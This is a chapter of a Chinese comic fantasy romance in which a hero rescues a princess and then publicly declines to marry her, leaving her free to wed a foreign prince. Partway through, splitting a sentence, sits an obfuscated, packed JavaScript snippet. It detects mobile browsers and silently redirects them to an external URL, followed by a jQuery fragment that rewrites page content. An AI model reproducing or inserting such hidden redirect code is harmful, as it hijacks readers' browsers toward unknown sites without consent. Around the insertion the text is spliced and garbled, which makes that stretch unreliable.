所谓恋爱就是强肉强食。
当然,这并不是一句名人名言之类的至理名言,但一定是条不可破灭的真理。
*
大周末年周幽王烽火戏诸侯引得天下动荡,随后周王室衰微而诸侯林立,弱肉强食,最终原本的大周分崩离析成七雄并立各自为王,由北至南分别为:破军国、武曲过、廉贞国、文曲国、禄存国、贪狼国、巨门国,共七大国,一直延续至今。
其中的文曲国,幅员倒也算不上辽广,当然疆土也算不得辽阔,便是国力在七国之中也并不显眼,然而王都里却传开了一桩惊天的大事——三公主萧若嫣在御花园赏西府海棠时,竟被一阵黑风卷走!值守的十六名护卫只瞥见漫天紫黑色魔气,待要追击,却被罡风掀得人仰马翻。
说起这位萧若嫣公主,那是当真担得起“国色”二字。眉似远山含黛,目如秋水横波,兼之性情温婉,通晓音律,都城里的百姓私下都称她作“瑶台牡丹”。如今这朵牡丹被灵山妖域的阴风卷走,皇帝陛下急得在含元殿上连连跺脚,龙纹锦袍的下摆都快踩出洞来。
“岂有此理!堂堂天朝公主,竟遭邪祟掳掠!”皇帝拍着紫檀木御案,案上那盏越窑青瓷茶盅震得叮当响,“羽林军何在?给朕踏平妖域!”
三日后,年过半百的定远侯老将军秦威率领三千铁甲军并十二位高僧开出征妖域。谁知第七日黄昏,残兵败将踉跄回城——秦将军断了三根肋骨,高僧的法杖碎了七柄,士卒们个个面如金纸,说什么“那妖域入口在死亡之海深处,黑沙暴中伸出百丈魔爪,非人力可敌”。
皇帝当即瘫坐龙椅,皇后则哭晕在珠帘后。正绝望时,宰相海临阁忽想起开国时的古老传说,颤声道:“陛下,祖训有载:若遇大魔灾,可求‘背负神谕之侠义之士’……”
于是皇榜贴遍了各州府县:凡救回公主者,赐爵封侯,赏万金。可那榜文在城墙上挂了七日,被春雨打湿了边角,愣是无人敢揭。
正当皇帝愁得食不下咽时——连尚食局精心炮制的“凤凰胎”都只动了一筷——殿外忽传钟鼓齐鸣。侍卫来报:背负天命的“侠义之士”应诏而来。
有关侠士,市井传言早已沸沸扬扬:说那侠士是昆仑山修仙的剑客,有移山倒海之能;又说队伍里有南海鲛人,泣泪成珠……
然而当侠士走进大殿时,便是连见惯世面的老宦官都忍不住悄悄抽了口气。
侠士看年纪不过二十出头,个头颇高,穿着一身当下最时兴的湖蓝缺胯袍,腰束鞶革,悬一柄鲨鱼皮鞘长剑。最奇的是他那双眼睛——碧如盛夏孔雀河,被殿内烛火一照,竟流转出青蓝交织的幻彩,虽然是个江湖儿郎,可行止间却颇有士族的优雅气度。
便是宰相海临阁,看罢也忍不住捻着山羊须与身侧礼部尚书低声嘀咕:“这……样貌,莫不是按平康坊花魁榜选的?”声音虽轻,却被耳尖的宫女水叮铛听了个真切。水叮铛垂首抿唇,强压笑意,心中却也犯疑:救公主是性命相搏的事,这人好看得过了头,倒像梨园排新戏的台柱子。
直到皇帝轻咳一声,这才打破僵局:“壮士远道而来,寡人感激不尽。不知壮士如何称呼?”
碧眼青年抱拳行礼,声如玉石相击:“某谢无妄,自碎叶城来。”
“好!好!”国君抚掌,“今夜寡人在麟德殿设宴,为壮士践行!”
华灯初上时,宴开九桌。御膳房使出了浑身解数:主桌奉上金齑玉鲙——取天山冰湖鲈鱼薄切如纸,佐以金橙齑、香柔花叶;另有驼蹄羹用慢火煨了六个时辰,汤汁乳白如酪;光明虾炙以玫瑰露酒炙烤,虾壳透红如琥珀。
酒过三巡,皇帝举杯起身,眼眶微红:“小女被困妖域已二十七日,寡人日夜心如刀绞。壮士若能救她归来……”他声音哽咽,“凡有所求,国土之内,寡人绝不吝惜!”
谢无妄离席,碧眼在宫灯映照下澄澈如镜:“陛下放心,某既揭了皇榜,便是拼却性命,也要护公主周全。”
次日卯时,朱雀门外人山人海。卖胡饼的、贩丝绸的、耍猴戏的都挤来看热闹。少女们朝谢无妄抛香囊、掷鲜花,有个穿桃红半臂的娘子攀着茶楼栏杆尖叫:“谢无妄大人!看这里!”险些坠下楼来。
这话说了不过二十三天。
那日午时,东城望楼的戍卒忽然敲响铜钲——三急一缓,是凯旋的信号!全城轰动,皇帝赤足奔出寝殿,皇后跑得匆忙,竟将绣鞋跑掉了一只。
钟鼓齐鸣九响,麟德殿正门轰然洞开。春日艳阳泼洒而入,光柱里缓缓走进三人。
当先的正是三公主萧若嫣!她瘦了许多,原本圆润的下巴尖了,石榴红留仙裙略显宽大,可那双琥珀色眸子依然明亮如星。
紧接着是侠士谢无妄,白衣竟纤尘不染,只袖口有一道寸许长的裂口;跟在二人背后的则是一黑袍青年,黑色袍下摆染了暗红,似乎是血迹,三人虽面带倦色,却个个腰背挺直。
“父王!母妃!”公主大叫着扑进双亲怀中,泣不成声。皇帝当场老泪纵横,皇后更是兴奋的几乎要晕厥过去。
待情绪稍定,国君当即执起谢无妄的手,声音颤抖:“壮士大恩,文曲举国难忘!寡人当日承诺——尔有任何心愿,今日当着文武百官、黎民代表,但说无妨!”
殿内霎时静了。百余人目光齐刷刷投向公主与谢无妄身上。
这戏码谁不熟啊!老宰相已经开始在心底暗中盘算公主的嫁妆单:昆仑玉璧十对、南海明珠百斛、西域三十六国的贺仪……几位年轻女官更是咬着耳朵偷笑,有个胆大的用团扇掩面,对同伴使眼色:“快看,公主脸红了!”
可不是么?公主萧若嫣双颊飞霞,眼角余光却……等等,却看的根本不是谢无妄!?
水叮铛立于殿侧侍女队列中,因站得偏,反倒瞧得分明——公主那含羞带怯的眼神,分明越过勇者肩头,落在了后面黑袍陌生青年的身上!而且那青年竟也微微颔首,乌黑眸子里漾着温柔笑意。
正惊疑间,谢无妄上前三步。那双碧眼在穿过棂花窗的阳光下,幻化出孔雀羽般的青蓝光泽。他郑重抱拳躬身:“既蒙陛下金口玉诺,某斗胆,求摘贵国一枝名花。”
“来了!”不知哪个侍卫低呼出声。国君抚掌大笑:“准!准!孤王这就将……”
话音戛然而止。
满殿死寂中,谢无妄笑了。那笑容温柔得能让终南山顶的积雪融化。他再次深揖,随即跪倒在地:“陛下,在征途之中,每每浴血苦战,或是夜深疲惫之时,我心中所念所想便是:若能平安救出公主,凯旋那日,我定要寻得一段真爱。”
本来还是没什么问题的话,但是谢无妄最后的话一出,顿时四座皆惊:“但是我心中的真爱之人,绝不可能是公主萧若嫣。”
诶……
诶…………
诶………………
这是……
公主被当众退货啦?
水叮铛听顿时震惊不已,大殿上众人也是愕然声此
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17320868|199045||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
起彼伏。
“真爱……你难道不准备求娶公主?那、那么寡人的公主该如何是好?!”
良久,从震惊中中勉强找回神智的文曲国国君,摇摇晃晃地从宝座上站起身来,步履略显虚浮地向前几步,声音因震惊与怒意而微微发颤,响彻大殿。
这位原本信心满满,打算在庆功宴上便将公主许配给侠士成就一段佳话的皇帝陛下,此刻龙颜上除了愕然,更多的还是愕然。侠士此举无疑是将文曲国的颜面踩在地板上摩擦。
毕竟按照话本所说,结局十有八九都是侠士娶了公主,当然也不尽然,毕竟余下两个要么是侠士和妖王凑成一堆,最后剩下个侠士辞谢封赏,云游四方去了。
然而……
皇帝以为侠士既然能从妖域单枪匹马救回公主,自然不能轻易放他离开。
只不过……
皇帝此时似乎漏看了最关键的一幕——那位事件中另一位至关重要的女主角,公主萧若嫣,此刻非但没有半分被冷落的羞愤或伤心,反而双颊绯红如霞,正与身旁那位黑发黑袍、气质清冷的青年旁若无人地四目相对,眼波流转间,情意绵绵几乎要化为实质。
“萧若嫣公主?”接话的,是先前宣侠士进入大殿的那位宦官,此时他随意地指了指那边正沉浸于二人世界的公主与青年,毕恭毕敬道:“陛下,公主殿下不是早有潘世安了么?”
潘世安?
此言一出,皇帝仿佛才骤然惊醒,顺着宦官所指的方向望去,终于看清了自己女儿那迥异于预期的神情与姿态。
“这、这究竟是……?”皇帝的声音里充满了困惑。
萧若嫣公主闻声,短暂地将视线从黑袍青年脸上移开,朝自己父亲望了一眼,那眼神清澈,带着几分少女的羞涩,却无半分勉强。旋即,她的目光又如同被磁石吸引般,回到了黑袍青年温柔含笑的眼眸中。
黑袍青年那俊美无俦的脸上顿时绽开一抹足以融化冰雪的笑意,轻轻握了握公主的手,似是安抚她因父亲注目而产生的不安。
美形笑容的威力,果然非同凡响。
水叮铛身后的侍女群里,立刻又爆发出了一阵压抑却兴奋的“呀啊——”低呼,比起方才为侠士所发的,似乎还多了几分对“成双美色”的由衷赞叹。
你们这些丫头啊……是不是只要人长得足够俊美,便什么都可原谅,什么都可接受了?水叮铛在心底无力地吐槽。
很快,就见那黑袍青年潘世安,再次对公主展露一个令人安心的微笑,随即极其自然地牵起她的手,两人并肩,在满殿目光的聚焦下,步履从容地走向皇帝的宝座之前。
潘世安姿容清冷如孤峰积雪,公主明艳似春日繁花,二人携手而行,宛若一幅活过来的工笔神仙卷,赏心悦目至极。殿中不由自主地响起一片低低的、混杂着惊艳与了然的“哎……”的叹息声。
而在这般情境之下,潘世安开口所说的话,更是将今日这场庆功宴,推向了另一个意想不到的高潮。
他松开公主的手,上前一步,向着宝座上的皇帝姿态优雅地行了一个礼,声音清朗如玉石相击:“在下乃巨门国九皇子潘世安,今有幸得见文曲国陛下金面,有一不情之请,望陛下恩准……”
话说到此潘世安微微侧首,与身畔脸颊红晕未褪的公主交换了一个眼神,得到对方含羞却坚定的微微颔首后,转回身,清晰而郑重地说道:
“我,恳请与公主萧若嫣结为秦晋之好,永缔鸳盟。”